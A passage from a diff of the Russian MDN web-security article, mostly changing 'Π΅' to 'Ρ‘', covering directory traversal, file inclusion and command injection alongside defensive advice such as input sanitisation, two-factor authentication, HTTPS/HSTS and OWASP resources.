Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, выявляя ΠΈ блокируя Β«ΠΏΠ»ΠΎΡ…ΠΎΠΉΒ» Ρ‚Ρ€Π°Ρ„ΠΈΠΊ, пропуская ΠΏΡ€ΠΈ этом Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½Ρ‹Π΅ сообщСния. Π­Ρ‚ΠΈ срСдства Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ располоТСны ΠΏΠ΅Ρ€Π΅Π΄ Π²Π΅Π±-сСрвСром ΠΈΠ»ΠΈ Π½Π° Π½Π΅ΠΌ (ΠΎΠ½ΠΈ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ самого Π²Π΅Π±-прилоТСния).</li>
<li><a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">Directory Traversal</a> (Π€Π°ΠΉΠ» ΠΈ раскрытиС). Π’ этой Π°Ρ‚Π°ΠΊΠ΅ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ пытаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ частям Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы Π²Π΅Π±-сСрвСра, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Ρƒ Π½Π΅Π³ΠΎ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ доступа. Π­Ρ‚Π° ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΠΌΠ΅Π½Π° Ρ„Π°ΠΉΠ»ΠΎΠ², содСрТащиС символы Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>../../</code>). РСшСниС состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‡ΠΈΡ‰Π°Ρ‚ΡŒ Π²Π²ΠΎΠ΄ ΠΏΠ΅Ρ€Π΅Π΄ Π΅Π³ΠΎ использованиСм.</li>
<li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">File Inclusion</a>. Π’ этой Π°Ρ‚Π°ΠΊΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ "случайно" ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ» для отобраТСния ΠΈΠ»ΠΈ выполнСния Π² Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… Π½Π° сСрвСр. ПослС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ этот Ρ„Π°ΠΉΠ» ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π½Π° Π²Π΅Π±-сСрвСрС ΠΈΠ»ΠΈ Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° (Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ XSS-Π°Ρ‚Π°ΠΊΠ΅). РСшСниС состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π΅Π·ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π²ΠΎΠ΄ ΠΏΠ΅Ρ€Π΅Π΄ Π΅Π³ΠΎ использованиСм.</li>
<li><a href="https://www.owasp.org/index.php/Command_Injection">Π’Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄</a>. Атаки с Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΠΌΠ°Π½Π΄ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ систСмныС ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π² ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмС хоста. РСшСниС состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Π΅Π·ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π²ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² систСмных Π²Ρ‹Π·ΠΎΠ²Π°Ρ….</li>
@@ -143,20 +143,20 @@ original_slug: Learn/Server-side/First_steps/Π’Π΅Π±_Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ ряд Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… шагов:</p>
<ul>
- <li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π±ΠΎΠ»Π΅Π΅ эффСктивноС ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ паролями. ΠŸΠΎΠΎΡ‰Ρ€ΡΠΉΡ‚Π΅ Ρ€Π΅Π³ΡƒΠ»ΡΡ€Π½ΡƒΡŽ смСну Π½Π°Π΄Π΅ΠΆΠ½Ρ‹Ρ… ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ. РассмотритС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π΄Π²ΡƒΡ…Ρ„Π°ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΉ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ для вашСго сайта, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ ΠΏΠ°Ρ€ΠΎΠ»ΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Π» ввСсти Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ΄ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ‚ΠΎΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ доставляСтся Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ°ΠΊΠΎΠ΅-Ρ‚ΠΎ физичСскоС ΠΎΠ±ΠΎΡ€ΡƒΠ΄ΠΎΠ²Π°Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ΄ Π² SMS, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠΌ Π½Π° Π΅Π³ΠΎ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½).</li>
- <li>НастройтС свой Π²Π΅Π±-сСрвСр для использования <a href="/en-US/docs/Glossary/https">HTTPS</a> ΠΈ <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS). HTTPS ΡˆΠΈΡ„Ρ€ΡƒΠ΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅ ΠΌΠ΅ΠΆΠ΄Ρƒ вашим ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром. Π­Ρ‚ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ для Π²Ρ…ΠΎΠ΄Π°, Ρ„Π°ΠΉΠ»Ρ‹ cookie, Π΄Π°Π½Π½Ρ‹Π΅ запросов <code>POST</code>Β ΠΈ информация Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π»Π΅Π³ΠΊΠΎ доступны для Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠ².</li>
- <li>Π‘Π»Π΅Π΄ΠΈΡ‚Π΅ Π·Π° Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ популярными ΡƒΠ³Ρ€ΠΎΠ·Π°ΠΌΠΈ (<a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ список OWASP находится здСсь</a>) ΠΈ Π² ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ устраняйтС Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнныС уязвимости.</li>
+ <li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π±ΠΎΠ»Π΅Π΅ эффСктивноС ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ паролями. ΠŸΠΎΠΎΡ‰Ρ€ΡΠΉΡ‚Π΅ Ρ€Π΅Π³ΡƒΠ»ΡΡ€Π½ΡƒΡŽ смСну Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹Ρ… ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ. РассмотритС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π΄Π²ΡƒΡ…Ρ„Π°ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΉ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ для вашСго сайта, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ ΠΏΠ°Ρ€ΠΎΠ»ΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Π» ввСсти Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ΄ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Ρ‚ΠΎΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ доставляСтся Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ°ΠΊΠΎΠ΅-Ρ‚ΠΎ физичСскоС ΠΎΠ±ΠΎΡ€ΡƒΠ΄ΠΎΠ²Π°Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ΄ Π² SMS, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠΌ Π½Π° Π΅Π³ΠΎ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½).</li>
+ <li>НастройтС свой Π²Π΅Π±-сСрвСр для использования <a href="/en-US/docs/Glossary/https">HTTPS</a> ΠΈ <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS). HTTPS ΡˆΠΈΡ„Ρ€ΡƒΠ΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅ ΠΌΠ΅ΠΆΠ΄Ρƒ вашим ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ сСрвСром. Π­Ρ‚ΠΎ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ для Π²Ρ…ΠΎΠ΄Π°, Ρ„Π°ΠΉΠ»Ρ‹ cookie, Π΄Π°Π½Π½Ρ‹Π΅ запросов <code>POST</code>Β ΠΈ информация Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π»Π΅Π³ΠΊΠΎ доступны для Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠ².</li>
+ <li>Π‘Π»Π΅Π΄ΠΈΡ‚Π΅ Π·Π° Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ популярными ΡƒΠ³Ρ€ΠΎΠ·Π°ΠΌΠΈ (<a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ список OWASP находится здСсь</a>) ΠΈ Π² ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ устраняйтС Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённыС уязвимости.</li>
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">инструмСнты сканирования уязвимостСй</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ автоматичСскоС тСстированиС бСзопасности Π½Π° вашСм сайтС. ПозТС ваш ΠΎΡ‡Π΅Π½ΡŒ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΉ Π²Π΅Π±-сайт ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°Ρ‚ΡŒ ошибки, прСдлагая Π²ΠΎΠ·Π½Π°Π³Ρ€Π°ΠΆΠ΄Π΅Π½ΠΈΠ΅ Π·Π° ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ ошибок, ΠΊΠ°ΠΊ это <a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">Π΄Π΅Π»Π°Π΅Ρ‚ здСсь</a> Mozilla.</li>
- <li>Π₯Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΠΉΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹. НапримСр, Ссли ваши ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Ρ‚Π°ΠΊΡƒΡŽ ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΡ€Π΅Π΄ΠΈΡ‚Π½ΠΎΠΉ ΠΊΠ°Ρ€Ρ‚Ρ‹, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΠΉΡ‚Π΅ Ρ‡Π°ΡΡ‚ΡŒ Π½ΠΎΠΌΠ΅Ρ€Π° ΠΊΠ°Ρ€Ρ‚Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΠΌΠΎΠ³ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΈ нСдостаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅Π³ΠΎ ΠΌΠΎΠ³ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ сайтС. Π‘Π°ΠΌΡ‹ΠΉ распространСнный шаблон Π² настоящСС врСмя - ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послСдних 4 Ρ†ΠΈΡ„Ρ€ Π½ΠΎΠΌΠ΅Ρ€Π° ΠΊΡ€Π΅Π΄ΠΈΡ‚Π½ΠΎΠΉ ΠΊΠ°Ρ€Ρ‚Ρ‹.</li>
+ <li>Π₯Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΠΉΡ‚Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹. НапримСр, Ссли ваши ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ„ΠΈΠ΄Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Ρ‚Π°ΠΊΡƒΡŽ ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΡ€Π΅Π΄ΠΈΡ‚Π½ΠΎΠΉ ΠΊΠ°Ρ€Ρ‚Ρ‹, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΠΉΡ‚Π΅ Ρ‡Π°ΡΡ‚ΡŒ Π½ΠΎΠΌΠ΅Ρ€Π° ΠΊΠ°Ρ€Ρ‚Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΠΌΠΎΠ³ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΈ нСдостаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅Π³ΠΎ ΠΌΠΎΠ³ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ сайтС. Π‘Π°ΠΌΡ‹ΠΉ распространённый шаблон Π² настоящСС врСмя - ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послСдних 4 Ρ†ΠΈΡ„Ρ€ Π½ΠΎΠΌΠ΅Ρ€Π° ΠΊΡ€Π΅Π΄ΠΈΡ‚Π½ΠΎΠΉ ΠΊΠ°Ρ€Ρ‚Ρ‹.</li>
</ul>
-<p>Π’Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΡΠΌΡΠ³Ρ‡ΠΈΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных уязвимостСй.</p>
+<p>Π’Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΡΠΌΡΠ³Ρ‡ΠΈΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых уязвимостСй.</p>
<h2 id="РСзюмС">РСзюмС</h2>
-<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ концСпция Π²Π΅Π±-бСзопасности ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных ΡƒΠ³Ρ€ΠΎΠ·, ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ваш Π²Π΅Π±-сайт Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π·Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ΡŒΡΡ. Π‘Π°ΠΌΠΎΠ΅ Π³Π»Π°Π²Π½ΠΎΠ΅, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΠΈΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠ· Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. ВсС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡ΠΈΡ‰Π΅Π½Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ ΠΈΠ»ΠΈ использованиСм Π² SQL-запросах ΠΈ Π²Ρ‹Π·ΠΎΠ²Π°Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы.</p>
+<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ концСпция Π²Π΅Π±-бСзопасности ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых ΡƒΠ³Ρ€ΠΎΠ·, ΠΎΡ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ваш Π²Π΅Π±-сайт Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π·Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ΡŒΡΡ. Π‘Π°ΠΌΠΎΠ΅ Π³Π»Π°Π²Π½ΠΎΠ΅, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΠΈΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠ· Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. ВсС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡ΠΈΡ‰Π΅Π½Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ ΠΈΠ»ΠΈ использованиСм Π² SQL-запросах ΠΈ Π²Ρ‹Π·ΠΎΠ²Π°Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы.</p>
-<p>Π­Ρ‚ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ΠΉ Π²Ρ‹ подошли ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ <a href="/en-US/docs/Learn/Server-side/First_steps">этого модуля</a>, ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ваши ΠΏΠ΅Ρ€Π²Ρ‹Π΅ шаги Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Π½Π° сторонС сСрвСра. ΠœΡ‹ надССмся, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ ΠΏΠΎΠ½Ρ€Π°Π²ΠΈΠ»ΠΎΡΡŒ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ эти Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ, ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ 